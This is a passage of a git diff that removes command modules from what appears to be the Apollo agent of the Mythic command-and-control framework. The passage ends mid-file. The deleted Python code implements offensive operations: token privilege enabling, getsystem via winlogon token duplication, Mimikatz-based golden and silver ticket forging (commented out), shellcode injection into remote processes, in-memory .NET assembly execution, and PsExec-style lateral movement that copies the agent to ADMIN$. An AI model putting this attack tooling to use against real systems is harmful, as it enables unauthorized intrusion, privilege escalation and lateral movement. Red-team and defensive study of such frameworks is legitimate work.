100644 index a7630e07..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/getprivs.py +++ /dev/null @@ -1,35 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class GetPrivsArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) > 0: - raise Exception("getprivs takes no command line arguments.") - - -class GetPrivsCommand(CommandBase): - cmd = "getprivs" - needs_admin = False - help_cmd = "getprivs" - description = "Enable as many privileges as we can on our current thread token." - version = 2 - author = "@djhohnstein" - argument_class = GetPrivsArguments - attackmapping = ["T1078"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/getsystem.py b/Payload_Type/apollo/apollo/mythic/agent_functions/getsystem.py deleted file mode 100644 index 3d48417a..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/getsystem.py +++ /dev/null @@ -1,35 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class GetSystemArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) > 0: - raise Exception("getsystem takes no command line arguments.") - - -class GetSystemCommand(CommandBase): - cmd = "getsystem" - needs_admin = True - help_cmd = "getsystem" - description = "Open a handle to winlogon and duplicate the token." - version = 2 - author = "@its_a_feature_" - argument_class = GetSystemArguments - attackmapping = [] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/golden_ticket.py b/Payload_Type/apollo/apollo/mythic/agent_functions/golden_ticket.py deleted file mode 100644 index 481255f9..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/golden_ticket.py +++ /dev/null @@ -1,136 +0,0 @@ -# from mythic_payloadtype_container.MythicCommandBase import * -# import json -# from uuid import uuid4 -# from sRDI import ShellcodeRDI -# from os import path -# from mythic_payloadtype_container.MythicRPC import * - - -# class GoldenTicketArguments(TaskArguments): - -# valid_args = ["domain", -# "sid", -# "user", -# "id", -# "groups", -# "key_type", -# "key", -# "target", -# "service", -# "startoffset", -# "endin", -# "renewmax", -# "sids", -# "sacrificial_logon"] - -# def __init__(self, command_line): -# super().__init__(command_line) -# self.args = { -# "domain": CommandParameter(name="domain", type=ParameterType.String, required=True, description="Must be FQDN"), -# "sid": CommandParameter(name="sid", type=ParameterType.String, required=True, description="The domain SID"), -# "user": CommandParameter(name="user", type=ParameterType.String, required=True, description="Account name"), -# "id": CommandParameter(name="id", type=ParameterType.String, required=False, description="Account RID"), -# "groups": CommandParameter(name="groups", type=ParameterType.String, required=False, description="Comma-seperated list of group RIDs - no spaces"), -# "key_type": CommandParameter(name="key_type", type=ParameterType.ChooseOne, choices=["rc4", "aes128", "aes256"], required=True), -# "key": CommandParameter(name="key", type=ParameterType.String, required=True, description="The key for the KRBTGT account (or service account for silver tickets)"), -# "target": CommandParameter(name="target", type=ParameterType.String, required=False, description="Target name (for silver tickets only - leave blank for golden tickets)"), -# "service": CommandParameter(name="service", type=ParameterType.String, required=False, description="Service name (for silver tickets only - leave blank for golden tickets)"), -# "startoffset": CommandParameter(name="startoffset", type=ParameterType.Number, required=False, description="Start time offset for the ticket"), -# "endin": CommandParameter(name="endin", type=ParameterType.Number, default_value=600, required=False, description="Expiry time for the ticket from now - default should be 10 hours"), -# "renewmax": CommandParameter(name="renewmax", type=ParameterType.Number, default_value=10080, required=False, description="Renewal time for the ticket from now - default should be 7 days"), -# "sids": CommandParameter(name="sids", type=ParameterType.String, required=False, description="Extra SIDs"), -# "sacrificial_logon": CommandParameter(name="sacrificial_logon", type=ParameterType.Boolean, default_value=True, required=True, description="Specifies whether to create a sacrificial logon to avoid overwriting the ticket of the current user") -# } - - -# async def parse_command_line_arguments(self): -# cmdline_args = self.command_line.strip().split(" ") -# if len(cmdline_args) > len(self.valid_args): -# raise Exception("golden_ticket takes at most {} parameters, but got: {}".format(len(self.valid_args), len(cmdline_args))) -# for golden_ticket_arg in cmdline_args: -# parts = golden_ticket_arg.split(":") -# if len(parts) > 2: -# raise Exception("Invalid number of arguments or invalid separator in argument: {}".format(golden_ticket_arg)) -# param = parts[0] -# val = parts[1] -# # I actually don't think we ever hit this, but whatever. -# if " " in val: -# raise Exception("No spaces allowed in value: {}".format(val)) -# param = param[1:].lower() -# if param in self.valid_args: -# try: -# self.add_arg(param, int(val)) -# except: -# self.add_arg(param, val) -# else: -# raise Exception("Invalid argument given to golden_ticket: {}".format(param)) - - -# async def parse_arguments(self): -# if len(self.command_line) == 0: -# raise Exception("golden_ticket requires arguments.") -# if self.command_line[0] == "{": -# self.load_args_from_json_string(self.command_line) -# else: -# await self.parse_command_line_arguments() -# self.add_arg("pipe_name", str(uuid4())) -# for varg in self.valid_args: -# value = self.get_arg(varg) -# if value and isinstance(value, str) and " " in value: -# raise Exception("No spaces allowed in parameter '{}', but got: {}".format(varg, self.get_arg(varg))) - -# required_args = ["domain", -# "sid", -# "user", -# "key_type", -# "key", -# "sacrificial_logon"] -# for arg in required_args: -# if not self.get_arg(arg): -# if arg == "sacrificial_logon": -# self.add_arg(arg, True) -# else: -# raise Exception("Missing mandatory parameter: {}".format(arg)) - -# class GoldenTicketCommand(CommandBase): -# cmd = "golden_ticket" -# needs_admin = True -# help_cmd = "golden_ticket (modal popup)" -# description = "Forge a golden/silver ticket using Mimikatz." -# version = 2 -# is_exit = False -# is_file_browse = False -# is_process_list = False -# is_download_file = False -# is_upload_file = False -# is_remove_file = False -# author = "@elad_shamir" -# argument_class = GoldenTicketArguments -# browser_script = BrowserScript(script_name="unmanaged_injection", author="@djhohnstein") -# attackmapping = [] - -# async def create_tasking(self, task: MythicTask) -> MythicTask: -# dllFile = path.join(self.agent_code_path, f"mimikatz_{task.callback.architecture}.dll") -# dllBytes = open(dllFile, 'rb').read() -# converted_dll = ShellcodeRDI.ConvertToShellcode(dllBytes, ShellcodeRDI.HashFunctionName("smb_server_wmain"), task.args.get_arg("pipe_name").encode(), 0) -# file_resp = await MythicRPC().execute("create_file", -# task_id=task.id, -# file=base64.b64encode(converted_dll).decode(), -# delete_after_fetch=True) -# if file_resp.status == MythicStatus.Success: -# task.args.add_arg("loader_stub_id", file_resp.response['agent_file_id']) -# else: -# raise Exception("Failed to register Mimikatz DLL: " + file_resp.error) -# # task.display_params = "/dc:{} /domain:{} /user:{}".format(self.args.get_arg) -# display_str = "" -# no_display = ["loader_stub_id", "pipe_name", "sacrificial_logon"] -# for arg in task.args.args: -# varg = task.args.get_arg(arg) -# if varg and arg not in no_display: -# display_str += "/{}:{} ".format(arg, varg) -# task.display_params = display_str.strip() -# return task - -# async def process_response(self, response: AgentResponse): -# pass - diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ifconfig.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ifconfig.py deleted file mode 100644 index 71f70d36..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ifconfig.py +++ /dev/null @@ -1,37 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class IfconfigArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) > 0: - raise Exception("ifconfig takes no command line arguments.") - pass - - -class IfconfigCommand(CommandBase): - cmd = "ifconfig" - needs_admin = False - help_cmd = "ifconfig" - description = "Get interface information associated with the target." - version = 1 - author = "@thespicybyte" - argument_class = IfconfigArguments - attackmapping = ["T1590.005"] - browser_script = BrowserScript(script_name="ifconfig", author="@thespicybyte", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/inject.py b/Payload_Type/apollo/apollo/mythic/agent_functions/inject.py deleted file mode 100644 index ece6dcaf..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/inject.py +++ /dev/null @@ -1,231 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import base64 -import sys -import asyncio - - -class InjectArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="template", - cli_name="Payload", - display_name="Payload", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_payloads, - parameter_group_info=[ParameterGroupInfo( - required=False - )] - ), - CommandParameter( - name="pid", - cli_name="PID", - display_name="PID", - type=ParameterType.Number), - CommandParameter( - name="regenerate", - cli_name="regenerate", - display_name="Generate New Payload", - type=ParameterType.Boolean, - default_value=False, - parameter_group_info=[ParameterGroupInfo( - required=False - )] - ) - ] - - errorMsg = "Missing required parameter: {}" - - async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - CallbackID=inputMsg.Callback, - PayloadTypes=["apollo"], - IncludeAutoGeneratedPayloads=False, - BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", BuildParameterValues={"output_type": "Shellcode"})] - )) - - if payload_search.Success: - file_names = [] - for f in payload_search.Payloads: - value = f"{f.Filename} - {f.Description}" - if value not in file_names: - file_names.append(value) - fileResponse.Success = True - file_names.reverse() - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = payload_search.Error - return fileResponse - - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Inject requires JSON parameters and not raw command line.") - self.load_args_from_json_string(self.command_line) - supplied_dict = json.loads(self.command_line) - if "process_id" in supplied_dict: - self.add_arg("pid", int(supplied_dict["process_id"])) - if self.get_arg("pid") == 0: - raise Exception("Required non-zero PID") - - -temp_inject_link_data = {} - - -async def link_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus=task.SubtaskData.Task.Status, Completed=True) - resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( - TaskID=task.SubtaskData.Task.ID - )) - for r in resp.Responses: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response=r.Response - )) - return response - - -async def inject_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True, Completed=True) - resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( - TaskID=task.SubtaskData.Task.ID - )) - for r in resp.Responses: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response=r.Response - )) - if "error" not in task.SubtaskData.Task.Status: - if task.TaskData.Task.ID in temp_inject_link_data: - response.Completed = False - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=task.TaskData.Task.ID, - CommandName="link", - SubtaskCallbackFunction="link_callback", - Params=json.dumps({ - "connection_info": temp_inject_link_data[task.TaskData.Task.ID] - }) - )) - del temp_inject_link_data[task.TaskData.Task.ID] - return response - - -class InjectCommand(CommandBase): - cmd = "inject" - attributes=CommandAttributes( - dependencies=["shinject"] - ) - needs_admin = False - help_cmd = "inject (modal popup)" - description = "Inject agent shellcode into a remote process." - version = 2 - script_only = True - author = "@djhohnstein" - argument_class = InjectArguments - attackmapping = ["T1055"] - completion_functions = {"inject_callback": inject_callback, "link_callback": link_callback} - supported_ui_features = ["process_browser:inject"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - - string_payload = [x.strip() for x in taskData.args.get_arg("template").split(" - ")] - filename = string_payload[0] - desc = string_payload[1] - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - CallbackID=taskData.Callback.ID, - PayloadTypes=["apollo"], - Filename=filename, - Description=desc, - IncludeAutoGeneratedPayloads=False, - BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", BuildParameterValues={"output_type": "Shellcode"})] - )) - - if not payload_search.Success: - raise Exception("Failed to find payload: {}".format(taskData.args.get_arg("template"))) - - if len(payload_search.Payloads) == 0: - raise Exception("No payloads found matching {}".format(taskData.args.get_arg("template"))) - str_uuid = payload_search.Payloads[0].UUID - payload = None - if taskData.args.get_arg("regenerate"): - newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage( - TaskID=taskData.Task.ID, PayloadUUID=str_uuid, NewDescription="{}'s injection into PID {}".format(taskData.Task.OperatorUsername, str(taskData.args.get_arg("pid"))) - )) - if newPayloadResp.Success: - # we know a payload is building, now we want it - str_uuid = newPayloadResp.NewPayloadUUID - while True: - resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=newPayloadResp.NewPayloadUUID - )) - if resp.Success: - if resp.Payloads[0].BuildPhase == 'success': - # it's done, so we can register a file for it - payload = resp.Payloads[0] - break - elif resp.Payloads[0].BuildPhase == 'error': - raise Exception("Failed to build new payload ") - else: - await asyncio.sleep(1) - else: - logger.exception("Failed to build new payload") - raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template"))) - else: - # fetch data about the payload - resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=str_uuid - )) - if resp.Success: - if resp.Payloads[0].BuildPhase == 'success': - # it's done, so we can register a file for it - payload = resp.Payloads[0] - elif resp.Payloads[0].BuildPhase == 'error': - raise Exception("Selected Payload Failed to Build ") - else: - raise Exception("Payload isn't done building") - response.DisplayParams = "payload '{}' into PID {}".format(payload.Filename, taskData.args.get_arg("pid")) - response.TaskStatus = MythicStatus.Processed - c2_info = payload.C2Profiles[0] - is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp" - if not is_p2p: - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="shinject", - Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": payload.AgentFileId}) - )) - else: - connection_info = { - "host": "127.0.0.1", - "agent_uuid": str_uuid, - "c2_profile": c2_info.to_json() - } - connection_info["c2_profile"]["name"] = connection_info["c2_profile"]["c2_profile"] - connection_info["c2_profile"]["parameters"] = connection_info["c2_profile"]["c2_profile_parameters"] - del connection_info["c2_profile"]["c2_profile"] - del connection_info["c2_profile"]["c2_profile_parameters"] - temp_inject_link_data[taskData.Task.ID] = connection_info - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - SubtaskCallbackFunction="inject_callback", - CommandName="shinject", - Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": payload.AgentFileId}) - )) - if not subtask.Success: - response.Success = False - response.Error = subtask.Error - del temp_inject_link_data[taskData.Task.ID] - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/inline_assembly.py b/Payload_Type/apollo/apollo/mythic/agent_functions/inline_assembly.py deleted file mode 100644 index 00db105c..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/inline_assembly.py +++ /dev/null @@ -1,197 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from uuid import uuid4 -from .execute_pe import PRINTSPOOFER_FILE_ID -from mythic_container.MythicRPC import * -from os import path -import base64 -import tempfile -from distutils.dir_util import copy_tree -import shutil -import asyncio -import platform - -if platform.system() == 'Windows': - INTEROP_ASSEMBLY_PATH = "C:\\Mythic\\Apollo\\srv\\ApolloInterop.dll" -else: - INTEROP_ASSEMBLY_PATH = "/srv/ApolloInterop.dll" -INTEROP_FILE_ID = "" - - -class InlineAssemblyArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="assembly_name", - cli_name="Assembly", - display_name="Assembly", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_files, - description="Assembly to execute (e.g., Seatbelt.exe).", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default", - ui_position=1 - ), - ]), - CommandParameter( - name="assembly_file", - display_name="New Assembly", - type=ParameterType.File, - description="A new assembly to execute. After uploading once, you can just supply the assembly_name parameter", - parameter_group_info=[ - ParameterGroupInfo( - required=True, group_name="New Assembly", ui_position=1, - ) - ] - ), - CommandParameter( - name="assembly_arguments", - cli_name="Arguments", - display_name="Arguments", - type=ParameterType.String, - description="Arguments to pass to the assembly.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=2 - ), - ParameterGroupInfo( - required=False, group_name="New Assembly", ui_position=2 - ), - ]), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Require an assembly to execute.\n\tUsage: {}".format(InlineAssemblyCommand.help_cmd)) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - parts = self.command_line.split(" ", maxsplit=1) - self.add_arg("assembly_name", parts[0]) - self.add_arg("assembly_arguments", "") - if len(parts) == 2: - self.add_arg("assembly_arguments", parts[1]) - - async def get_files(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - CallbackID=inputMsg.Callback, - LimitByCallback=False, - Filename="", - )) - if file_resp.Success: - file_names = [] - for f in file_resp.Files: - if f.Filename not in file_names and f.Filename.endswith(".exe"): - file_names.append(f.Filename) - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = file_resp.Error - return fileResponse - - -class InlineAssemblyCommand(CommandBase): - cmd = "inline_assembly" - needs_admin = False - help_cmd = "inline_assembly [Assembly.exe] [args]" - description = "Executes a .NET assembly with the specified arguments in a disposable AppDomain. This assembly must first be known by the agent using the `register_assembly` command." - version = 3 - author = "@thiagomayllart" - argument_class = InlineAssemblyArguments - attackmapping = ["T1547"] - attributes = CommandAttributes( - supported_os=[SupportedOS.Windows], - builtin=False, - load_only=False, - suggested_command=False, - dependencies=["register_file"], - ) - - async def build_interop(self): - global INTEROP_ASSEMBLY_PATH - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/ApolloInterop/bin/Release/ApolloInterop.dll".format(agent_build_path.name) - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ApolloInterop/ApolloInterop.csproj -o {}/ApolloInterop/bin/Release/".format( - agent_build_path.name, agent_build_path.name) - proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception("Failed to build ApolloInterop.dll:\n{}".format(stderr.decode() + "\n" + stdout.decode())) - shutil.copy(outputPath, INTEROP_ASSEMBLY_PATH) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global INTEROP_ASSEMBLY_PATH - global INTEROP_FILE_ID - - if not path.exists(INTEROP_ASSEMBLY_PATH): - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"building interop code" - )) - await self.build_interop() - - if INTEROP_FILE_ID == "": - with open(INTEROP_ASSEMBLY_PATH, "rb") as f: - interop_bytes = f.read() - file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - FileContents=interop_bytes, - DeleteAfterFetch=False, - )) - - if file_resp.Success: - INTEROP_FILE_ID = file_resp.AgentFileId - else: - raise Exception("Failed to register Interop DLL: {}".format(file_resp.Error)) - originalGroupNameIsDefault = taskData.args.get_parameter_group_name() == "Default" - if taskData.args.get_parameter_group_name() == "New Assembly": - fileSearchResp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - AgentFileID=taskData.args.get_arg("assembly_file") - )) - if not fileSearchResp.Success: - raise Exception(f"Failed to find uploaded file: {fileSearchResp.Error}") - if len(fileSearchResp.Files) == 0: - raise Exception(f"Failed to find matching file, was it deleted?") - - taskData.args.add_arg("assembly_name", fileSearchResp.Files[0].Filename) - taskData.args.remove_arg("assembly_file") - taskData.args.add_arg("assembly_id", fileSearchResp.Files[0].AgentFileId) - - taskData.args.add_arg("interop_id", INTEROP_FILE_ID) - if originalGroupNameIsDefault: - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - Filename=taskData.args.get_arg("assembly_name"), - TaskID=taskData.Task.ID, - MaxResults=1 - )) - if not file_resp.Success: - raise Exception(f"failed to find assembly: {file_resp.Error}") - if len(file_resp.Files) == 0: - raise Exception(f"no assembly by that name that's not deleted") - else: - taskData.args.add_arg("assembly_id", file_resp.Files[0].AgentFileId) - response.DisplayParams = "-Assembly {} -Arguments {}".format( - taskData.args.get_arg("assembly_name"), - taskData.args.get_arg("assembly_arguments") - ) - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/jobkill.py b/Payload_Type/apollo/apollo/mythic/agent_functions/jobkill.py deleted file mode 100644 index a067aa73..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/jobkill.py +++ /dev/null @@ -1,67 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicGoRPC import * -import json - - -class JobkillArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Require Job ID to terminate as a command line argument.") - - -class JobkillCommand(CommandBase): - cmd = "jobkill" - needs_admin = False - help_cmd = "jobkill [jid]" - description = "Kill a job specified by the job identifier (jid)." - version = 2 - is_exit = False - supported_ui_features = ["jobkill", "task:job_kill"] - author = "@djhohnstein" - argument_class = JobkillArguments - attackmapping = [] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - killedTaskResp = await SendMythicRPCTaskSearch(MythicRPCTaskSearchMessage( - TaskID=taskData.Task.ID, - SearchAgentTaskID=taskData.args.command_line - )) - if killedTaskResp.Success: - if len(killedTaskResp.Tasks) > 0: - response.DisplayParams = f"{killedTaskResp.Tasks[0].CommandName} {killedTaskResp.Tasks[0].DisplayParams}" - if killedTaskResp.Tasks[0].CommandName == "rpfwd": - try: - params = json.loads(killedTaskResp.Tasks[0].Params) - rpfwdStopResp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage( - TaskID=taskData.Task.ID, - PortType="rpfwd", - Port=params["port"], - Username=params["username"] if "username" in params else "", - Password=params["password"] if "password" in params else "", - )) - if rpfwdStopResp.Success: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=f"Stopped Mythic's rpfwd components\n".encode() - )) - else: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=f"Failed to stop Mythic's rpfwd components: {rpfwdStopResp.Error}\n".encode() - )) - except Exception as e: - logger.error(f"failed to parse rpfwd params as json: {killedTaskResp.Tasks[0].Params}") - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/jobs.py b/Payload_Type/apollo/apollo/mythic/agent_functions/jobs.py deleted file mode 100644 index ee5ef80b..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/jobs.py +++ /dev/null @@ -1,59 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * - -class JobsArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) > 0: - raise Exception("Jobs takes no arguments.") - pass - - -class JobsCommand(CommandBase): - cmd = "jobs" - needs_admin = False - help_cmd = "jobs" - description = 'List currently executing jobs, excluding the "jobs" and "jobkill" commands.' - version = 2 - author = "@djhohnstein" - argument_class = JobsArguments - attackmapping = [] - browser_script = BrowserScript(script_name="jobs_new", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - result = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - - resp = response["jobs"] - jobs = [] - for job in resp: - job_resp = await SendMythicRPCTaskSearch(MythicRPCTaskSearchMessage( - TaskID=task.Task.ID, - SearchAgentTaskID=job - )) - if job_resp.Success: - jobs.append({ - "agent_task_id": job_resp.Tasks[0].AgentTaskID, - "command": job_resp.Tasks[0].CommandName, - "display_params": job_resp.Tasks[0].DisplayParams, - "operator": job_resp.Tasks[0].OperatorUsername, - "display_id": job_resp.Tasks[0].DisplayID}) - else: - raise Exception("Failed to get job info for job {}".format(job)) - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.Task.ID, - Response=json.dumps(jobs).encode() - )) - return result - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_psexec.py b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_psexec.py deleted file mode 100644 index b7c683fd..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_psexec.py +++ /dev/null @@ -1,355 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import uuid -import asyncio - -class JumpPSEXECArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="Payload", - cli_name="Payload", - display_name="Payload", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_payloads, - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="specific_payload", - ui_position=4 - ), - ] - ), - CommandParameter( - name="host", - cli_name="host", - display_name="Host", - type=ParameterType.String, - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default", - ui_position=1 - ), - ParameterGroupInfo( - required=True, - group_name="specific_payload", - ui_position=1 - ) - ] - ), - CommandParameter( - name="command", - cli_name="command", - display_name="Command", - default_value="C:\\Windows\\apollo.exe", - type=ParameterType.String, - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=3, - ), - ParameterGroupInfo( - required=False, - group_name="specific_payload", - ui_position=3 - ) - ] - ), - CommandParameter( - name="remote_path", - cli_name="remote_path", - display_name="Remote Upload Location", - type=ParameterType.String, - default_value="ADMIN$\\apollo.exe", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=2 - ), - ParameterGroupInfo( - required=False, - group_name="specific_payload", - ui_position=2 - ) - ] - ), - CommandParameter( - name="remote_service_name", - cli_name="remoteServiceName", - display_name="Remote Service Name", - type=ParameterType.String, - default_value="", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=2 - ), - ParameterGroupInfo( - required=False, - group_name="specific_payload", - ui_position=2 - ) - ] - ), - ] - - errorMsg = "Missing required parameter: {}" - - async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - CallbackID=inputMsg.Callback, - PayloadTypes=["apollo"], - IncludeAutoGeneratedPayloads=False, - BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", 